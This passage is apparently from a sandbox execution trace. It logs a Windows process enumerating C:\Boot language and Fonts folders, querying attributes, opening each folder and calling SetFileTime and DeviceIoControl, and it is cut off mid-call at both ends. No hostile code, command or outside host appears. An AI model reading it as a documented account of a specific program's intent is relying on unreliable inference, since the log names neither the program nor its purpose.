lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.249] CreateFileW (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0226.249] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.249] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.249] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.249] NtClose (Handle=0x1ac) returned 0x0 [0226.249] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.249] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.249] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.249] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.249] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.249] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3930 [0226.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af698 [0226.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.250] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0226.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3950 [0226.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af720 [0226.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.250] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0226.250] GetLastError () returned 0x12 [0226.250] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.250] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.250] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.250] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.250] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0226.250] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0226.250] GetLastError () returned 0x12 [0226.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.250] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.250] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0226.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.251] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.571] CreateFileW (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0226.571] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.571] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.571] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.572] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.572] NtClose (Handle=0x170) returned 0x0 [0226.572] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.572] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.572] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.572] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.572] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.572] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.572] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.572] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.572] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.572] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.572] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.572] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.572] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3970 [0226.572] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af7a8 [0226.572] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af830 [0226.572] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d68) returned 1 [0226.572] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.572] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.572] GetLastError () returned 0x12 [0226.572] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.572] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.573] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.573] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.573] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.573] GetLastError () returned 0x12 [0226.573] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.573] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.573] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.573] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.573] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0226.573] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.573] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.573] CreateFileW (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0226.573] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.573] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.573] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.573] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.573] NtClose (Handle=0x1ac) returned 0x0 [0226.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.574] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.574] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.574] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3c88 [0226.574] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af8b8 [0226.574] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.574] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.574] GetLastError () returned 0x12 [0226.574] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.574] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.574] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.574] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.574] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.574] GetLastError () returned 0x12 [0226.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.575] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.575] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.575] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0226.575] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.575] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.614] CreateFileW (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0226.615] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.615] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, 